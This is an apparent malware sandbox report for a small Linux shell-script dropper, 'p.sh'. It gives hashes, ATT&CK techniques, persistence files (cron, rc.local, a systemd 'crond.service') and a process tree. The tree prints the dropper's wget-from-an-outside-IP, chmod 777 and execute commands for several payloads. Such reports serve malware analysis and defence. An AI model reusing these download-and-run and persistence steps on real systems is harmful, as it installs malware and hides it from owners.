14a0c3c28384e040fcf9317dacd5400b9cecd9bdde92fff5f242671fab246a98

Analysis

max time kernel
149s
max time network
93s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
09/08/2026, 02:10

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
p.sh
Size 835B
Sample260809-cl3gbagk3t
SHA256 14a0c3c28384e040fcf9317dacd5400b9cecd9bdde92fff5f242671fab246a98
MD5 2970988d94b0a67f2d1934939f84e321
SHA1 7462a5ce8de9b2f2180f1711c0a2e3842240612b
SHA512 ff48258155caa19e4df4ebdb7886a1d38e9b718b97701631fd5718d3597334582953de8c25376ee3a1cd0d308a15154a2145136b310de62f5f5dfd2fcfee5f88
TLSH
T188016BC6E3209910406A985E26E66690B470C3C7094A0B7C7FDCD53DBB88E14B13AF84
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
773	chmod
797	chmod
804	chmod
820	chmod
825	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/86D	776	p.sh

Creates/modifies Cron job 1 TTPs 2 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/etc/crontab	86D
File opened for modification	/etc/cron.d/crond	86D

Enumerates running processes
Discovers information about currently running processes on the system

Modifies rc script 2 TTPs 1 IoCs

Adding/modifying system rc scripts is a common persistence mechanism.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/rc.local	86D

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/crond.service	86D

Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/297/exe	86D
File opened for reading	/proc/817/cmdline	86D
File opened for reading	/proc/857/cmdline	86D
File opened for reading	/proc/886/cmdline	86D
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/42/cmdline	86D
File opened for reading	/proc/576/cmdline	86D
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/632/cmdline	86D
File opened for reading	/proc/861/cmdline	86D
File opened for reading	/proc/166/exe	86D
File opened for reading	/proc/4/cmdline	86D
File opened for reading	/proc/822/cmdline	86D
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/20/cmdline	86D
File opened for reading	/proc/325/cmdline	86D
File opened for reading	/proc/869/cmdline	86D
File opened for reading	/proc/869/exe	86D
File opened for reading	/proc/870/cmdline	86D
File opened for reading	/proc/900/cmdline	86D
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/11/cmdline	86D
File opened for reading	/proc/884/exe	86D
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/294/cmdline	86D
File opened for reading	/proc/309/cmdline	86D
File opened for reading	/proc/812/exe	86D
File opened for reading	/proc/808/cmdline	86D
File opened for reading	/proc/847/cmdline	86D
File opened for reading	/proc/873/cmdline	86D
File opened for reading	/proc/880/cmdline	86D
File opened for reading	/proc/774/exe	86D
File opened for reading	/proc/803/cmdline	86D
File opened for reading	/proc/884/cmdline	86D
File opened for reading	/proc/17/cmdline	86D
File opened for reading	/proc/95/cmdline	86D
File opened for reading	/proc/323/cmdline	86D
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/803/exe	86D
File opened for reading	/proc/852/cmdline	86D
File opened for reading	/proc/890/cmdline	86D
File opened for reading	/proc/892/cmdline	86D
File opened for reading	/proc/6/cmdline	86D
File opened for reading	/proc/658/cmdline	86D
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/805/exe	86D
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/106/cmdline	86D
File opened for reading	/proc/578/cmdline	86D
File opened for reading	/proc/816/cmdline	86D
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/1/exe	86D

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/86D	wget
File opened for modification	/tmp/p	p.sh

/tmp/p.sh
/tmp/p.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:642
- /bin/ls
  ls -l /proc/1/exe
  2⤵
  PID:644
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  - Reads runtime system information
  PID:649
- /bin/ls
  ls -l /proc/103/exe
  2⤵
  PID:654
- /bin/ls
  ls -l /proc/105/exe
  2⤵
  PID:660
- /bin/ls
  ls -l /proc/106/exe
  2⤵
  PID:667
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  PID:669
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  - Reads runtime system information
  PID:671
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  - Reads runtime system information
  PID:673
- /bin/ls
  ls -l /proc/132/exe
  2⤵
  PID:676
- /bin/ls
  ls -l /proc/135/exe
  2⤵
  - Reads runtime system information
  PID:677
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  PID:679
- /bin/ls
  ls -l /proc/141/exe
  2⤵
  - Reads runtime system information
  PID:680
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  - Reads runtime system information
  PID:681
- /bin/ls
  ls -l /proc/152/exe
  2⤵
  PID:682
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  PID:684
- /bin/ls
  ls -l /proc/166/exe
  2⤵
  PID:685
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  - Reads runtime system information
  PID:686
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  - Reads runtime system information
  PID:687
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  PID:688
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  PID:689
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  - Reads runtime system information
  PID:690
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  PID:691
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  - Reads runtime system information
  PID:692
- /bin/ls
  ls -l /proc/221/exe
  2⤵
  PID:693
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  PID:694
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  - Reads runtime system information
  PID:695
- /bin/ls
  ls -l /proc/25/exe
  2⤵
  - Reads runtime system information
  PID:696
- /bin/ls
  ls -l /proc/26/exe
  2⤵
  PID:697
- /bin/ls
  ls -l /proc/27/exe
  2⤵
  - Reads runtime system information
  PID:698
- /bin/ls
  ls -l /proc/28/exe
  2⤵
  PID:699
- /bin/ls
  ls -l /proc/281/exe
  2⤵
  PID:700
- /bin/ls
  ls -l /proc/285/exe
  2⤵
  PID:701
- /bin/ls
  ls -l /proc/287/exe
  2⤵
  - Reads runtime system information
  PID:702
- /bin/ls
  ls -l /proc/29/exe
  2⤵
  - Reads runtime system information
  PID:703
- /bin/ls
  ls -l /proc/291/exe
  2⤵
  PID:704
- /bin/ls
  ls -l /proc/294/exe
  2⤵
  PID:705
- /bin/ls
  ls -l /proc/297/exe
  2⤵
  PID:706
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  PID:707
- /bin/ls
  ls -l /proc/309/exe
  2⤵
  PID:708
- /bin/ls
  ls -l /proc/311/exe
  2⤵
  PID:709
- /bin/ls
  ls -l /proc/323/exe
  2⤵
  PID:710
- /bin/ls
  ls -l /proc/325/exe
  2⤵
  - Reads runtime system information
  PID:711
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  PID:712
- /bin/ls
  ls -l /proc/41/exe
  2⤵
  PID:713
- /bin/ls
  ls -l /proc/42/exe
  2⤵
  - Reads runtime system information
  PID:714
- /bin/ls
  ls -l /proc/43/exe
  2⤵
  PID:715
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  PID:716
- /bin/ls
  ls -l /proc/564/exe
  2⤵
  PID:717
- /bin/ls
  ls -l /proc/576/exe
  2⤵
  PID:718
- /bin/ls
  ls -l /proc/578/exe
  2⤵
  - Reads runtime system information
  PID:719
- /bin/ls
  ls -l /proc/581/exe
  2⤵
  PID:720
- /bin/ls
  ls -l /proc/582/exe
  2⤵
  PID:721
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  PID:722
- /bin/ls
  ls -l /proc/626/exe
  2⤵
  PID:725
- /bin/ls
  ls -l /proc/632/exe
  2⤵
  PID:727
- /bin/ls
  ls -l /proc/634/exe
  2⤵
  PID:729
- /bin/ls
  ls -l /proc/637/exe
  2⤵
  PID:731
- /bin/ls
  ls -l /proc/639/exe
  2⤵
  PID:733
- /bin/ls
  ls -l /proc/640/exe
  2⤵
  PID:736
- /bin/ls
  ls -l /proc/641/exe
  2⤵
  PID:738
- /bin/ls
  ls -l /proc/642/exe
  2⤵
  PID:740
- /bin/ls
  ls -l /proc/643/exe
  2⤵
  PID:742
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  PID:744
- /bin/ls
  ls -l /proc/74/exe
  2⤵
  PID:746
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  PID:748
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  PID:751
- /bin/ls
  ls -l /proc/95/exe
  2⤵
  - Reads runtime system information
  PID:753
- /bin/rm
  rm -rf 86D
  2⤵
  PID:755
- /usr/bin/wget
  wget http://129.121.110.105/86D
  2⤵
  - Writes file to tmp directory
  PID:757
- /bin/chmod
  chmod 777 86D
  2⤵
  - File and Directory Permissions Modification
  PID:773
- /tmp/86D
  ./86D pdvr
  2⤵
  - Creates/modifies Cron job
  - Modifies rc script
  - Modifies systemd
  - Reads runtime system information
  PID:776
- - /usr/local/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:794
- - /usr/local/sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:795
- - /usr/local/bin/systemctl
    systemctl enable crond.service
    3⤵
    PID:795
- - /usr/sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:795
- - /usr/bin/systemctl
    systemctl enable crond.service
    3⤵
    PID:795
- - /sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:795
- - /usr/local/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:794
- - /usr/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:794
- - /usr/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:794
- - /sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:794
- - /bin/systemctl
    systemctl enable crond.service
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:795
- /bin/rm
  rm -rf aWG
  2⤵
  PID:781
- /usr/bin/wget
  wget http://129.121.110.105/aWG
  2⤵
  PID:793
- /bin/chmod
  chmod 777 aWG
  2⤵
  - File and Directory Permissions Modification
  PID:797
- /tmp/aWG
  ./aWG pdvr
  2⤵
  PID:799
- /bin/rm
  rm -rf tbW
  2⤵
  PID:801
- /usr/bin/wget
  wget http://129.121.110.105/tbW
  2⤵
  PID:802
- /bin/chmod
  chmod 777 tbW
  2⤵
  - File and Directory Permissions Modification
  PID:804
- /tmp/tbW
  ./tbW pdvr
  2⤵
  PID:815
- /bin/rm
  rm -rf VFgi
  2⤵
  PID:816
- /usr/bin/wget
  wget http://129.121.110.105/VFgi
  2⤵
  PID:819
- /bin/chmod
  chmod 777 VFgi
  2⤵
  - File and Directory Permissions Modification
  PID:820
- /tmp/VFgi
  ./VFgi pdvr
  2⤵
  PID:821
- /bin/rm
  rm -rf OLE5
  2⤵
  PID:822
- /usr/bin/wget
  wget http://129.121.110.105/OLE5
  2⤵
  PID:823
- /bin/chmod
  chmod 777 OLE5
  2⤵
  - File and Directory Permissions Modification
  PID:825
- /tmp/OLE5
  ./OLE5 pdvr
  2⤵
  PID:826
- /bin/rm
  rm -rf p
  2⤵
  PID:827

/bin/systemctl
systemctl daemon-reload
1⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:794

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

crond

Path /etc/cron.d/crond
Size 30B
SHA256 35e8b831b9f6379026ced3159988e2aceca819a9cb50cebc4a4382e4ea43332d
MD5 a7aa8ffcd9c16af09310d216a9d47e74
SHA1 716892cfd3ca18f19e360b239530e69addce7dc6
SHA512 f3d081b2681aed816cadad5c090352de0c2021f3beba51a32fa8f249807d2503b83508894f87eaa4deb396d2328ee09043e5c5e44ffae50f916059036f2a82d6
MD5 SHA1 SHA512

Submit Download

rc.local

Path /etc/rc.local
Size 10B
SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
MD5 3e2b31c72181b87149ff995e7202c0e3
SHA1 bd971bec88149956458a10fc9c5ecb3eb99dd452
SHA512 543f39af1ae7a2382ed869cbd1ee1ac598a88eb4e213cd64487c54b5c37722c6207ee6db4fa7e2ed53064259a44115c6da7bbc8c068378bb52a25e7088eeebd6
MD5 SHA1 SHA512

Submit Download

rc.local

Path /etc/rc.local
Size 34B
SHA256 8a1de61bda0aebce0af5885b222a1d23522b38915be1d152079fbd1d52d0b988
MD5 76865a2ff33af5ea2cd2413eed8a55c9
SHA1 bede3b004007567ed01f0dce7f79db65be216958
SHA512 d20b79b31840ce30de77c9ed19fd1e54782983f8cd885d04b3285d76457e1c1cff4b2d1ba0342753e51f4cfdd5654f2090f8ee2e72fff809f44aa3d8cafd0f10
MD5 SHA1 SHA512

Submit Download

crond.service

Path /etc/systemd/system/crond.service
Size 193B
SHA256 23cc3c459baa278408c96efbdb9c593366d218e34ef69d8435223dd47ef8c737
MD5 3fbaaaeb2fdbf0345935336226a0baac
SHA1 bbcce5eff1326fa4e5093ee08ad54ad150b60f3c
SHA512 4b20a02e36b1b1c1ec8080c0d1141cd36aefff1ffe584faef59abcd05299909791ddcb930536e3d766526aa846663d33ed429d71b94ea939c0b850f6cf455b03
TLSH
T1F2C02223947124A0894F39A2AEE32B488EA102000ACF92B00BD019292DE20E71221DAE
MD5 SHA1 SHA512 TLSH

Submit Download

86D

Path /tmp/86D
Size 73KB
SHA256 463a265e6814f047d5e0dec116a38bf72c204a1b30583e5475e19265e49861b2
MD5 c7407df4431cb37b89b20e786262d32c
SHA1 2aaf7b60938b0589b9c373f39e9d5a91be90bc3e
SHA512 3248035275900db92b3606cc2da879939b4d7b430bba69e58327d8270ca91ad204bd42ef36706cae01e89562a5267627f9538c225177758326cabca9eea9f0c2
SSDEEP 1536:3gd1/53neamgYUkOTWNxPfKlFTNWUwYvQTZ3ZcQPdFmE2AobGJ:3gd1VOg06WN9fKlFTNdHQtpzPdFmE2Lk
TLSH
T177731859B8418F1BC2D21637FF1E8389331723A8E3DA7103DE15AF5537CB62A0E2A855
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /tmp/p
Size 1B
SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
MD5 68b329da9893e34099c7d8ad5cb9c940
SHA1 adc83b19e793491b1c6ea0fd8b46cd9f32e592fc
SHA512 be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads